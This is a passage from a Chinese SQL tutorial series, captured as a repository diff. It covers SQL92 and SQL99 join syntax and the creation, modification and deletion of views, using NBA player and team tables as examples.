SQL: SELECT player_id, player.team_id, player_name, height, team_name FROM player, team WHERE player.team_id = team.team_id
|
||||
|
||||
```
|
||||
|
||||
运行结果(一共37条记录):
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/28/d9/282aa15e7d02c60e9ebba8a0cc9134d9.png" alt=""><br>
|
||||
我们在进行等值连接的时候,可以使用表的别名,这样会让SQL语句更简洁:
|
||||
|
||||
```
|
||||
SELECT player_id, a.team_id, player_name, height, team_name FROM player AS a, team AS b WHERE a.team_id = b.team_id
|
||||
|
||||
```
|
||||
|
||||
需要注意的是,如果我们使用了表的别名,在查询字段中就只能使用别名进行代替,不能使用原有的表名,比如下面的SQL查询就会报错:
|
||||
|
||||
```
|
||||
SELECT player_id, player.team_id, player_name, height, team_name FROM player AS a, team AS b WHERE a.team_id = b.team_id
|
||||
|
||||
```
|
||||
|
||||
### 非等值连接
|
||||
|
||||
当我们进行多表查询的时候,如果连接多个表的条件是等号时,就是等值连接,其他的运算符连接就是非等值查询。
|
||||
|
||||
这里我创建一个身高级别表height_grades,如下所示:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/cf/68/cf5ea984ba0c4501c5a4e1eec19e5b68.png" alt=""><br>
|
||||
我们知道player表中有身高height字段,如果想要知道每个球员的身高的级别,可以采用非等值连接查询。
|
||||
|
||||
```
|
||||
SQL:SELECT p.player_name, p.height, h.height_level
|
||||
FROM player AS p, height_grades AS h
|
||||
WHERE p.height BETWEEN h.height_lowest AND h.height_highest
|
||||
|
||||
```
|
||||
|
||||
运行结果(37条记录):
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/fa/84/fa049e7e186978e7086eb8e157fdc284.png" alt="">
|
||||
|
||||
### 外连接
|
||||
|
||||
除了查询满足条件的记录以外,外连接还可以查询某一方不满足条件的记录。两张表的外连接,会有一张是主表,另一张是从表。如果是多张表的外连接,那么第一张表是主表,即显示全部的行,而第剩下的表则显示对应连接的信息。在SQL92中采用(+)代表从表所在的位置,而且在SQL92中,只有左外连接和右外连接,没有全外连接。
|
||||
|
||||
什么是左外连接,什么是右外连接呢?
|
||||
|
||||
左外连接,就是指左边的表是主表,需要显示左边表的全部行,而右侧的表是从表,(+)表示哪个是从表。
|
||||
|
||||
```
|
||||
SQL:SELECT * FROM player, team where player.team_id = team.team_id(+)
|
||||
|
||||
```
|
||||
|
||||
相当于SQL99中的:
|
||||
|
||||
```
|
||||
SQL:SELECT * FROM player LEFT JOIN team on player.team_id = team.team_id
|
||||
|
||||
```
|
||||
|
||||
右外连接,指的就是右边的表是主表,需要显示右边表的全部行,而左侧的表是从表。
|
||||
|
||||
```
|
||||
SQL:SELECT * FROM player, team where player.team_id(+) = team.team_id
|
||||
|
||||
```
|
||||
|
||||
相当于SQL99中的:
|
||||
|
||||
```
|
||||
SQL:SELECT * FROM player RIGHT JOIN team on player.team_id = team.team_id
|
||||
|
||||
```
|
||||
|
||||
需要注意的是,LEFT JOIN和RIGHT JOIN只存在于SQL99及以后的标准中,在SQL92中不存在,只能用(+)表示。
|
||||
|
||||
### 自连接
|
||||
|
||||
自连接可以对多个表进行操作,也可以对同一个表进行操作。也就是说查询条件使用了当前表的字段。
|
||||
|
||||
比如我们想要查看比布雷克·格里芬高的球员都有谁,以及他们的对应身高:
|
||||
|
||||
```
|
||||
SQL:SELECT b.player_name, b.height FROM player as a , player as b WHERE a.player_name = '布雷克-格里芬' and a.height < b.height
|
||||
|
||||
```
|
||||
|
||||
运行结果(6条记录):
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/05/94/05e4bf92df00e243601ca2d763fabb94.png" alt=""><br>
|
||||
如果不用自连接的话,需要采用两次SQL查询。首先需要查询布雷克·格里芬的身高。
|
||||
|
||||
```
|
||||
SQL:SELECT height FROM player WHERE player_name = '布雷克-格里芬'
|
||||
|
||||
```
|
||||
|
||||
运行结果为2.08。
|
||||
|
||||
然后再查询比2.08高的球员都有谁,以及他们的对应身高:
|
||||
|
||||
```
|
||||
SQL:SELECT player_name, height FROM player WHERE height > 2.08
|
||||
|
||||
```
|
||||
|
||||
运行结果和采用自连接的运行结果是一致的。
|
||||
|
||||
## 总结
|
||||
|
||||
今天我讲解了常用的SQL标准以及SQL92中的连接操作。SQL92和SQL99是经典的SQL标准,也分别叫做SQL-2和SQL-3标准。也正是在这两个标准发布之后,SQL影响力越来越大,甚至超越了数据库领域。现如今SQL已经不仅仅是数据库领域的主流语言,还是信息领域中信息处理的主流语言。在图形检索、图像检索以及语音检索中都能看到SQL语言的使用。
|
||||
|
||||
除此以外,我们使用的主流RDBMS,比如MySQL、Oracle、SQL Sever、DB2、PostgreSQL等都支持SQL语言,也就是说它们的使用符合大部分SQL标准,但很难完全符合,因为这些数据库管理系统都在SQL语言的基础上,根据自身产品的特点进行了扩充。即使这样,SQL语言也是目前所有语言中半衰期最长的,在1992年,Windows3.1发布,SQL92标准也同时发布,如今我们早已不使用Windows3.1操作系统,而SQL92标准却一直持续至今。
|
||||
|
||||
当然我们也要注意到SQL标准的变化,以及不同数据库管理系统使用时的差别,比如Oracle对SQL92支持较好,而MySQL则不支持SQL92的外连接。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/e4/0d/e473b216f11cfa7696371bfeadba220d.jpg" alt=""><br>
|
||||
我今天讲解了SQL的连接操作,你能说说内连接、外连接和自连接指的是什么吗?另外,你不妨拿案例中的team表做一道动手题,表格中一共有3支球队,现在这3支球队需要进行比赛,请用一条SQL语句显示出所有可能的比赛组合。
|
||||
|
||||
欢迎你在评论区写下你的答案,也欢迎把这篇文章分享给你的朋友或者同事,与他们一起交流一下。
|
||||
@@ -0,0 +1,273 @@
|
||||
<audio id="audio" title="11丨SQL99是如何使用连接的,与SQL92的区别是什么?" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/a8/2e/a8ee923ce2bb10b7140f6c1c3cadb32e.mp3"></audio>
|
||||
|
||||
上节课我们讲解了SQL92标准,在它之后又提出了SQL99标准。现在各大DBMS中对SQL99标准的支持度更好。你一定听说过LEFT JOIN、RIGHT JOIN这样的操作符,这实际上就是SQL99的标准,在SQL92中它们是用(+)代替的。SQL92和SQL99标准原理类似,只是SQL99标准的可读性更强。
|
||||
|
||||
今天我就来讲解一下SQL99标准中的连接查询,在今天的课程中你需要重点掌握以下几方面的内容:
|
||||
|
||||
1. SQL99标准下的连接查询是如何操作的?
|
||||
1. SQL99与SQL92的区别是什么?
|
||||
1. 在不同的DBMS中,使用连接需要注意什么?
|
||||
|
||||
## SQL99标准中的连接查询
|
||||
|
||||
上一篇文章中,我用NBA球员的数据表进行了举例,包括了三张数据表player、team和height_grades。
|
||||
|
||||
其中player表为球员表,一共有37个球员,如下所示:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/ee/99/ee9b554ecbc296e1a5865b52d4bb3c99.png" alt=""><br>
|
||||
team表为球队表,一共有3支球队,如下所示:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/aa/75/aa73203c43672b6d3be44748b1556075.png" alt=""><br>
|
||||
height_grades表为身高等级表,如下所示:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/4b/37/4b5b2c666705364b793329b728a1ed37.png" alt=""><br>
|
||||
接下来我们看下在SQL99标准中,是如何进行连接查询的?
|
||||
|
||||
### 交叉连接
|
||||
|
||||
交叉连接实际上就是SQL92中的笛卡尔乘积,只是这里我们采用的是CROSS JOIN。
|
||||
|
||||
我们可以通过下面这行代码得到player和team这两张表的笛卡尔积的结果:
|
||||
|
||||
```
|
||||
SQL: SELECT * FROM player CROSS JOIN team
|
||||
|
||||
```
|
||||
|
||||
运行结果(一共37*3=111条记录):
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/95/d2/95c97414eca15373f26ae2b4192880d2.png" alt=""><br>
|
||||
如果多张表进行交叉连接,比如表t1,表t2,表t3进行交叉连接,可以写成下面这样:
|
||||
|
||||
```
|
||||
SQL: SELECT * FROM t1 CROSS JOIN t2 CROSS JOIN t3
|
||||
|
||||
```
|
||||
|
||||
### 自然连接
|
||||
|
||||
你可以把自然连接理解为SQL92中的等值连接。它会帮你自动查询两张连接表中所有相同的字段,然后进行等值连接。
|
||||
|
||||
如果我们想把player表和team表进行等值连接,相同的字段是team_id。还记得在SQL92标准中,是如何编写的么?
|
||||
|
||||
```
|
||||
SELECT player_id, a.team_id, player_name, height, team_name FROM player as a, team as b WHERE a.team_id = b.team_id
|
||||
|
||||
```
|
||||
|
||||
在SQL99中你可以写成:
|
||||
|
||||
```
|
||||
SELECT player_id, team_id, player_name, height, team_name FROM player NATURAL JOIN team
|
||||
|
||||
```
|
||||
|
||||
实际上,在SQL99中用NATURAL JOIN替代了 `WHERE player.team_id = team.team_id`。
|
||||
|
||||
### ON连接
|
||||
|
||||
ON连接用来指定我们想要的连接条件,针对上面的例子,它同样可以帮助我们实现自然连接的功能:
|
||||
|
||||
```
|
||||
SELECT player_id, player.team_id, player_name, height, team_name FROM player JOIN team ON player.team_id = team.team_id
|
||||
|
||||
```
|
||||
|
||||
这里我们指定了连接条件是`ON player.team_id = team.team_id`,相当于是用ON进行了team_id字段的等值连接。
|
||||
|
||||
当然你也可以ON连接进行非等值连接,比如我们想要查询球员的身高等级,需要用player和height_grades两张表:
|
||||
|
||||
```
|
||||
SQL99:SELECT p.player_name, p.height, h.height_level
|
||||
FROM player as p JOIN height_grades as h
|
||||
ON height BETWEEN h.height_lowest AND h.height_highest
|
||||
|
||||
|
||||
```
|
||||
|
||||
这个语句的运行结果和我们之前采用SQL92标准的查询结果一样。
|
||||
|
||||
```
|
||||
SQL92:SELECT p.player_name, p.height, h.height_level
|
||||
FROM player AS p, height_grades AS h
|
||||
WHERE p.height BETWEEN h.height_lowest AND h.height_highest
|
||||
|
||||
```
|
||||
|
||||
一般来说在SQL99中,我们需要连接的表会采用JOIN进行连接,ON指定了连接条件,后面可以是等值连接,也可以采用非等值连接。
|
||||
|
||||
### USING连接
|
||||
|
||||
当我们进行连接的时候,可以用USING指定数据表里的同名字段进行等值连接。比如:
|
||||
|
||||
```
|
||||
SELECT player_id, team_id, player_name, height, team_name FROM player JOIN team USING(team_id)
|
||||
|
||||
```
|
||||
|
||||
你能看出与自然连接NATURAL JOIN不同的是,USING指定了具体的相同的字段名称,你需要在USING的括号()中填入要指定的同名字段。同时使用JOIN USING可以简化JOIN ON的等值连接,它与下面的SQL查询结果是相同的:
|
||||
|
||||
```
|
||||
SELECT player_id, player.team_id, player_name, height, team_name FROM player JOIN team ON player.team_id = team.team_id
|
||||
|
||||
```
|
||||
|
||||
### 外连接
|
||||
|
||||
SQL99的外连接包括了三种形式:
|
||||
|
||||
1. 左外连接:LEFT JOIN 或 LEFT OUTER JOIN
|
||||
1. 右外连接:RIGHT JOIN 或 RIGHT OUTER JOIN
|
||||
1. 全外连接:FULL JOIN 或 FULL OUTER JOIN
|
||||
|
||||
我们在SQL92中讲解了左外连接、右外连接,在SQL99中还有全外连接。全外连接实际上就是左外连接和右外连接的结合。在这三种外连接中,我们一般省略OUTER不写。
|
||||
|
||||
1.左外连接
|
||||
|
||||
**SQL92**
|
||||
|
||||
```
|
||||
SELECT * FROM player, team where player.team_id = team.team_id(+)
|
||||
|
||||
```
|
||||
|
||||
**SQL99**
|
||||
|
||||
```
|
||||
SELECT * FROM player LEFT JOIN team ON player.team_id = team.team_id
|
||||
|
||||
```
|
||||
|
||||
2.右外连接
|
||||
|
||||
**SQL92**
|
||||
|
||||
```
|
||||
SELECT * FROM player, team where player.team_id(+) = team.team_id
|
||||
|
||||
```
|
||||
|
||||
**SQL99**
|
||||
|
||||
```
|
||||
SELECT * FROM player RIGHT JOIN team ON player.team_id = team.team_id
|
||||
|
||||
```
|
||||
|
||||
3.全外连接
|
||||
|
||||
**SQL99**
|
||||
|
||||
```
|
||||
SELECT * FROM player FULL JOIN team ON player.team_id = team.team_id
|
||||
|
||||
```
|
||||
|
||||
需要注意的是MySQL不支持全外连接,否则的话全外连接会返回左表和右表中的所有行。当表之间有匹配的行,会显示内连接的结果。当某行在另一个表中没有匹配时,那么会把另一个表中选择的列显示为空值。
|
||||
|
||||
也就是说,全外连接的结果=左右表匹配的数据+左表没有匹配到的数据+右表没有匹配到的数据。
|
||||
|
||||
### 自连接
|
||||
|
||||
自连接的原理在SQL92和SQL99中都是一样的,只是表述方式不同。
|
||||
|
||||
比如我们想要查看比布雷克·格里芬身高高的球员都有哪些,在两个SQL标准下的查询如下。
|
||||
|
||||
**SQL92**
|
||||
|
||||
```
|
||||
SELECT b.player_name, b.height FROM player as a , player as b WHERE a.player_name = '布雷克-格里芬' and a.height < b.height
|
||||
|
||||
```
|
||||
|
||||
**SQL99**
|
||||
|
||||
```
|
||||
SELECT b.player_name, b.height FROM player as a JOIN player as b ON a.player_name = '布雷克-格里芬' and a.height < b.height
|
||||
|
||||
```
|
||||
|
||||
运行结果(6条记录):
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/c7/e0/c79ecee3e5368ee73bfe7edb8a80a6e0.png" alt="">
|
||||
|
||||
## SQL99和SQL92的区别
|
||||
|
||||
至此我们讲解完了SQL92和SQL99标准下的连接查询,它们都对连接进行了定义,只是操作的方式略有不同。我们再来回顾下,这些连接操作基本上可以分成三种情况:
|
||||
|
||||
1. 内连接:将多个表之间满足连接条件的数据行查询出来。它包括了等值连接、非等值连接和自连接。
|
||||
1. 外连接:会返回一个表中的所有记录,以及另一个表中匹配的行。它包括了左外连接、右外连接和全连接。
|
||||
1. 交叉连接:也称为笛卡尔积,返回左表中每一行与右表中每一行的组合。在SQL99中使用的CROSS JOIN。
|
||||
|
||||
不过SQL92在这三种连接操作中,和SQL99还存在着明显的区别。
|
||||
|
||||
首先我们看下SQL92中的WHERE和SQL99中的JOIN。
|
||||
|
||||
你能看出在SQL92中进行查询时,会把所有需要连接的表都放到FROM之后,然后在WHERE中写明连接的条件。而SQL99在这方面更灵活,它不需要一次性把所有需要连接的表都放到FROM之后,而是采用JOIN的方式,每次连接一张表,可以多次使用JOIN进行连接。
|
||||
|
||||
另外,我建议多表连接使用SQL99标准,因为层次性更强,可读性更强,比如:
|
||||
|
||||
```
|
||||
SELECT ...
|
||||
FROM table1
|
||||
JOIN table2 ON table1和table2的连接条件
|
||||
JOIN table3 ON table2和table3的连接条件
|
||||
|
||||
```
|
||||
|
||||
它的嵌套逻辑类似我们使用的FOR循环:
|
||||
|
||||
```
|
||||
for t1 in table1:
|
||||
for t2 in table2:
|
||||
if condition1:
|
||||
for t3 in table3:
|
||||
if condition2:
|
||||
output t1 + t2 + t3
|
||||
|
||||
```
|
||||
|
||||
SQL99采用的这种嵌套结构非常清爽,即使再多的表进行连接也都清晰可见。如果你采用SQL92,可读性就会大打折扣。
|
||||
|
||||
最后一点就是,SQL99在SQL92的基础上提供了一些特殊语法,比如NATURAL JOIN和JOIN USING。它们在实际中是比较常用的,省略了ON后面的等值条件判断,让SQL语句更加简洁。
|
||||
|
||||
## 不同DBMS中使用连接需要注意的地方
|
||||
|
||||
SQL连接具有通用性,但是不同的DBMS在使用规范上会存在差异,在标准支持上也存在不同。在实际工作中,你需要参考你正在使用的DBMS文档,这里我整理了一些需要注意的常见的问题。
|
||||
|
||||
**1.不是所有的DBMS都支持全外连接**
|
||||
|
||||
虽然SQL99标准提供了全外连接,但不是所有的DBMS都支持。不仅MySQL不支持,Access、SQLite、MariaDB等数据库软件也不支持。不过在Oracle、DB2、SQL Server中是支持的。
|
||||
|
||||
**2.Oracle没有表别名AS**
|
||||
|
||||
为了让SQL查询语句更简洁,我们经常会使用表别名AS,不过在Oracle中是不存在AS的,使用表别名的时候,直接在表名后面写上表别名即可,比如player p,而不是player AS p。
|
||||
|
||||
**3.SQLite的外连接只有左连接**
|
||||
|
||||
SQLite是一款轻量级的数据库软件,在外连接上只支持左连接,不支持右连接,不过如果你想使用右连接的方式,比如`table1 RIGHT JOIN table2`,在SQLite你可以写成`table2 LEFT JOIN table1`,这样就可以得到相同的效果。
|
||||
|
||||
除了一些常见的语法问题,还有一些关于连接的性能问题需要你注意:
|
||||
|
||||
**1.控制连接表的数量**
|
||||
|
||||
多表连接就相当于嵌套for循环一样,非常消耗资源,会让SQL查询性能下降得很严重,因此不要连接不必要的表。在许多DBMS中,也都会有最大连接表的限制。
|
||||
|
||||
**2.在连接时不要忘记WHERE语句**
|
||||
|
||||
多表连接的目的不是为了做笛卡尔积,而是筛选符合条件的数据行,因此在多表连接的时候不要忘记了WHERE语句,这样可以过滤掉不必要的数据行返回。
|
||||
|
||||
**3.使用自连接而不是子查询**
|
||||
|
||||
我们在查看比布雷克·格里芬高的球员都有谁的时候,可以使用子查询,也可以使用自连接。一般情况建议你使用自连接,因为在许多DBMS的处理过程中,对于自连接的处理速度要比子查询快得多。你可以这样理解:子查询实际上是通过未知表进行查询后的条件判断,而自连接是通过已知的自身数据表进行条件判断,因此在大部分DBMS中都对自连接处理进行了优化。
|
||||
|
||||
## 总结
|
||||
|
||||
连接可以说是SQL中的核心操作,通过两篇文章的学习,你已经从多个维度对连接进行了了解。同时,我们对SQL的两个重要标准SQL92和SQL99进行了学习,在我们需要进行外连接的时候,建议采用SQL99标准,这样更适合阅读。
|
||||
|
||||
此外我还想强调一下,我们在进行连接的时候,使用的关系型数据库管理系统,之所以存在关系是因为各种数据表之间存在关联,它们并不是孤立存在的。在实际工作中,尤其是做业务报表的时候,我们会用到SQL中的连接操作(JOIN),因此我们需要理解和熟练掌握SQL标准中连接的使用,以及不同DBMS中对连接的语法规范。剩下要做的,就是通过做练习和实战来增强你的经验了,做的练习多了,也就自然有感觉了。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/44/5b/443181aea770ba5844efac6b02e02c5b.jpg" alt=""><br>
|
||||
我今天讲解了SQL99的连接操作,不妨请你做一个小练习。请你编写SQL查询语句,查询不同身高级别(对应height_grades表)对应的球员数量(对应player表)。
|
||||
|
||||
欢迎你在评论区写下你的答案,我会在评论区与你一起讨论。也欢迎把这篇文章分享给你的朋友或者同事。
|
||||
224
极客时间专栏/geek/SQL必知必会/第一章:SQL语法基础篇/12丨视图在SQL中的作用是什么,它是怎样工作的?.md
Normal file
224
极客时间专栏/geek/SQL必知必会/第一章:SQL语法基础篇/12丨视图在SQL中的作用是什么,它是怎样工作的?.md
Normal file
@@ -0,0 +1,224 @@
|
||||
<audio id="audio" title="12丨视图在SQL中的作用是什么,它是怎样工作的?" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/7c/ba/7ccceb296d99aaf83bbc8de24d9d46ba.mp3"></audio>
|
||||
|
||||
我们之前对SQL中的数据表查询进行了讲解,今天我们来看下如何对视图进行查询。视图,也就是我们今天要讲的虚拟表,本身是不具有数据的,它是SQL中的一个重要概念。从下面这张图中,你能看到,虚拟表的创建连接了一个或多个数据表,不同的查询应用都可以建立在虚拟表之上。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/6c/e8/6c7cd968b0bd24ce5689a08c052eade8.jpg" alt="">
|
||||
|
||||
视图一方面可以帮我们使用表的一部分而不是所有的表,另一方面也可以针对不同的用户制定不同的查询视图。比如,针对一个公司的销售人员,我们只想给他看部分数据,而某些特殊的数据,比如采购的价格,则不会提供给他。
|
||||
|
||||
刚才讲的只是视图的一个使用场景,实际上视图还有很多作用,今天我们就一起学习下。今天的文章里,你将重点掌握以下的内容:
|
||||
|
||||
1. 什么是视图?如何创建、更新和删除视图?
|
||||
1. 如何使用视图来简化我们的SQL操作?
|
||||
1. 视图和临时表的区别是什么,它们各自有什么优缺点?
|
||||
|
||||
## 如何创建,更新和删除视图
|
||||
|
||||
视图作为一张虚拟表,帮我们封装了底层与数据表的接口。它相当于是一张表或多张表的数据结果集。视图的这一特点,可以帮我们简化复杂的SQL查询,比如在编写视图后,我们就可以直接重用它,而不需要考虑视图中包含的基础查询的细节。同样,我们也可以根据需要更改数据格式,返回与底层数据表格式不同的数据。
|
||||
|
||||
通常情况下,小型项目的数据库可以不使用视图,但是在大型项目中,以及数据表比较复杂的情况下,视图的价值就凸显出来了,它可以帮助我们把经常查询的结果集放到虚拟表中,提升使用效率。理解和使用起来都非常方便。
|
||||
|
||||
### 创建视图:CREATE VIEW
|
||||
|
||||
那么该如何创建视图呢?创建视图的语法是:
|
||||
|
||||
```
|
||||
CREATE VIEW view_name AS
|
||||
SELECT column1, column2
|
||||
FROM table
|
||||
WHERE condition
|
||||
|
||||
```
|
||||
|
||||
实际上就是我们在SQL查询语句的基础上封装了视图VIEW,这样就会基于SQL语句的结果集形成一张虚拟表。其中view_name为视图名称,column1、column2代表列名,condition代表查询过滤条件。
|
||||
|
||||
我们以NBA球员数据表为例。我们想要查询比NBA球员平均身高高的球员都有哪些,显示他们的球员ID和身高。假设我们给这个视图起个名字player_above_avg_height,那么创建视图可以写成:
|
||||
|
||||
```
|
||||
CREATE VIEW player_above_avg_height AS
|
||||
SELECT player_id, height
|
||||
FROM player
|
||||
WHERE height > (SELECT AVG(height) from player)
|
||||
|
||||
```
|
||||
|
||||
视图查询结果(18条记录):
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/a0/35/a05ac6169562c0f95bf8387df3577635.png" alt=""><br>
|
||||
当视图创建之后,它就相当于一个虚拟表,可以直接使用:
|
||||
|
||||
```
|
||||
SELECT * FROM player_above_avg_height
|
||||
|
||||
```
|
||||
|
||||
运行结果和上面一样。
|
||||
|
||||
### 嵌套视图
|
||||
|
||||
当我们创建好一张视图之后,还可以在它的基础上继续创建视图,比如我们想在虚拟表player_above_avg_height的基础上,找到比这个表中的球员平均身高高的球员,作为新的视图player_above_above_avg_height,那么可以写成:
|
||||
|
||||
```
|
||||
CREATE VIEW player_above_above_avg_height AS
|
||||
SELECT player_id, height
|
||||
FROM player
|
||||
WHERE height > (SELECT AVG(height) from player_above_avg_height)
|
||||
|
||||
```
|
||||
|
||||
视图查询结果(11条记录):
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/6b/5b/6b7416b24d91786c023bf10eee50355b.png" alt="">
|
||||
|
||||
你能看到这个视图的数据记录数为11个,比之前的记录少了7个。
|
||||
|
||||
### 修改视图:ALTER VIEW
|
||||
|
||||
修改视图的语法是:
|
||||
|
||||
```
|
||||
ALTER VIEW view_name AS
|
||||
SELECT column1, column2
|
||||
FROM table
|
||||
WHERE condition
|
||||
|
||||
```
|
||||
|
||||
你能看出来它的语法和创建视图一样,只是对原有视图的更新。比如我们想更新视图player_above_avg_height,增加一个player_name字段,可以写成:
|
||||
|
||||
```
|
||||
ALTER VIEW player_above_avg_height AS
|
||||
SELECT player_id, player_name, height
|
||||
FROM player
|
||||
WHERE height > (SELECT AVG(height) from player)
|
||||
|
||||
```
|
||||
|
||||
这样的话,下次再对视图进行查询的时候,视图结果就进行了更新。
|
||||
|
||||
```
|
||||
SELECT * FROM player_above_avg_height
|
||||
|
||||
```
|
||||
|
||||
运行结果(18条记录):
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/d9/bb/d91a3d7978b12fc52c194d1ce58410bb.png" alt="">
|
||||
|
||||
### 删除视图:DROP VIEW
|
||||
|
||||
删除视图的语法是:
|
||||
|
||||
```
|
||||
DROP VIEW view_name
|
||||
|
||||
```
|
||||
|
||||
比如我们想把刚才创建的视图删除,可以使用:
|
||||
|
||||
```
|
||||
DROP VIEW player_above_avg_height
|
||||
|
||||
```
|
||||
|
||||
需要说明的是,SQLite不支持视图的修改,仅支持只读视图,也就是说你只能使用CREATE VIEW和DROP VIEW,如果想要修改视图,就需要先DROP然后再CREATE。
|
||||
|
||||
## 如何使用视图简化SQL操作
|
||||
|
||||
从上面这个例子中,你能看出视图就是对SELECT语句进行了封装,方便我们重用它们。下面我们再来看几个视图使用的例子。
|
||||
|
||||
### 利用视图完成复杂的连接
|
||||
|
||||
我在讲解SQL99标准连接操作的时候,举了一个NBA球员和身高等级连接的例子,有两张表,分别为player和height_grades。其中height_grades记录了不同身高对应的身高等级。这里我们可以通过创建视图,来完成球员以及对应身高等级的查询。
|
||||
|
||||
首先我们对player表和height_grades表进行连接,关联条件是球员的身高height(在身高等级表规定的最低身高和最高身高之间),这样就可以得到这个球员对应的身高等级,对应的字段为height_level。然后我们通过SELECT得到我们想要查询的字段,分别为球员姓名player_name、球员身高height,还有对应的身高等级height_level。然后把取得的查询结果集放到视图player_height_grades中,即:
|
||||
|
||||
```
|
||||
CREATE VIEW player_height_grades AS
|
||||
SELECT p.player_name, p.height, h.height_level
|
||||
FROM player as p JOIN height_grades as h
|
||||
ON height BETWEEN h.height_lowest AND h.height_highest
|
||||
|
||||
```
|
||||
|
||||
运行结果(37条记录):
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/31/d2/3185f62845a19162c19b22673da6c8d2.png" alt="">
|
||||
|
||||
以后我们进行查询的时候,可以直接通过视图查询,比如我想查询身高介于1.90m和2.08m之间的球员及他们对应的身高:
|
||||
|
||||
```
|
||||
SELECT * FROM player_height_grades WHERE height >= 1.90 AND height <= 2.08
|
||||
|
||||
```
|
||||
|
||||
运行结果(26条记录):
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/8c/89/8c060eb06386b95cb31ff43c95948a89.png" alt="">
|
||||
|
||||
这样就把一个相对复杂的连接查询转化成了视图查询。
|
||||
|
||||
### 利用视图对数据进行格式化
|
||||
|
||||
我们经常需要输出某个格式的内容,比如我们想输出球员姓名和对应的球队,对应格式为player_name(team_name),就可以使用视图来完成数据格式化的操作:
|
||||
|
||||
```
|
||||
CREATE VIEW player_team AS
|
||||
SELECT CONCAT(player_name, '(' , team.team_name , ')') AS player_team FROM player JOIN team WHERE player.team_id = team.team_id
|
||||
|
||||
```
|
||||
|
||||
首先我们将player表和team表进行连接,关联条件是相同的team_id。我们想要的格式是`player_name(team_name)`,因此我们使用CONCAT函数,即`CONCAT(player_name, '(' , team.team_name , ')')`,将player_name字段和team_name字段进行拼接,得到了拼接值被命名为player_team的字段名,将它放到视图player_team中。
|
||||
|
||||
这样的话,我们直接查询视图,就可以得到格式化后的结果:
|
||||
|
||||
```
|
||||
SELECT * FROM player_team
|
||||
|
||||
```
|
||||
|
||||
运行结果(37条记录):
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/28/0d/280a22627fd84cd8450245041a3bba0d.png" alt="">
|
||||
|
||||
### 使用视图与计算字段
|
||||
|
||||
我们在数据查询中,有很多统计的需求可以通过视图来完成。正确地使用视图可以帮我们简化复杂的数据处理。
|
||||
|
||||
我以球员比赛成绩表为例,对应的是player_score表。这张表中一共有19个字段,它们代表的含义如下:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/8a/d2/8a77858d8c9633c7c4128dd454ad38d2.png" alt=""><br>
|
||||
如果我想要统计每位球员在每场比赛中的二分球、三分球和罚球的得分,可以通过创建视图完成:
|
||||
|
||||
```
|
||||
CREATE VIEW game_player_score AS
|
||||
SELECT game_id, player_id, (shoot_hits-shoot_3_hits)*2 AS shoot_2_points, shoot_3_hits*3 AS shoot_3_points, shoot_p_hits AS shoot_p_points, score FROM player_score
|
||||
|
||||
```
|
||||
|
||||
然后通过查询视图就可以完成。
|
||||
|
||||
```
|
||||
SELECT * FROM game_player_score
|
||||
|
||||
```
|
||||
|
||||
运行结果(19条记录):
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/b0/dc/b0edf8453df44d018315f68e89f7e3dc.png" alt="">
|
||||
|
||||
你能看出正确使用视图可以简化复杂的SQL查询,让SQL更加清爽易用。不过有一点需要注意,视图是虚拟表,它只是封装了底层的数据表查询接口,因此有些RDBMS不支持对视图创建索引(有些RDBMS则支持,比如新版本的SQL Server)。
|
||||
|
||||
## 总结
|
||||
|
||||
今天我讲解了视图的使用,包括创建,修改和删除视图。使用视图有很多好处,比如安全、简单清晰。
|
||||
|
||||
1. 安全性:虚拟表是基于底层数据表的,我们在使用视图时,一般不会轻易通过视图对底层数据进行修改,即使是使用单表的视图,也会受到限制,比如计算字段,类型转换等是无法通过视图来对底层数据进行修改的,这也在一定程度上保证了数据表的数据安全性。同时,我们还可以针对不同用户开放不同的数据查询权限,比如人员薪酬是个敏感的字段,那么只给某个级别以上的人员开放,其他人的查询视图中则不提供这个字段。
|
||||
1. 简单清晰:视图是对SQL查询的封装,它可以将原本复杂的SQL查询简化,在编写好查询之后,我们就可以直接重用它而不必要知道基本的查询细节。同时我们还可以在视图之上再嵌套视图。这样就好比我们在进行模块化编程一样,不仅结构清晰,还提升了代码的复用率。
|
||||
|
||||
另外,我们也需要了解到视图是虚拟表,本身不存储数据,如果想要通过视图对底层数据表的数据进行修改也会受到很多限制,通常我们是把视图用于查询,也就是对SQL查询的一种封装。那么它和临时表又有什么区别呢?在实际工作中,我们可能会见到各种临时数据。比如你可能会问,如果我在做一个电商的系统,中间会有个购物车的功能,需要临时统计购物车中的商品和金额,那该怎么办呢?这里就需要用到临时表了,临时表是真实存在的数据表,不过它不用于长期存放数据,只为当前连接存在,关闭连接后,临时表就会自动释放。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/8a/30/8afa99e7d1ac1de2c802cf0c61004b30.jpg" alt=""><br>
|
||||
今天我们对视图进行了讲解,你能用自己的语言来说下视图的优缺点么?另外视图在更新的时候会影响到数据表吗?
|
||||
|
||||
欢迎你在评论区写下你的思考,也欢迎把这篇文章分享给你的朋友或者同事,一起交流一下。
|
||||
176
极客时间专栏/geek/SQL必知必会/第一章:SQL语法基础篇/13丨什么是存储过程,在实际项目中用得多么?.md
Normal file
176
极客时间专栏/geek/SQL必知必会/第一章:SQL语法基础篇/13丨什么是存储过程,在实际项目中用得多么?.md
Normal file
@@ -0,0 +1,176 @@
|
||||
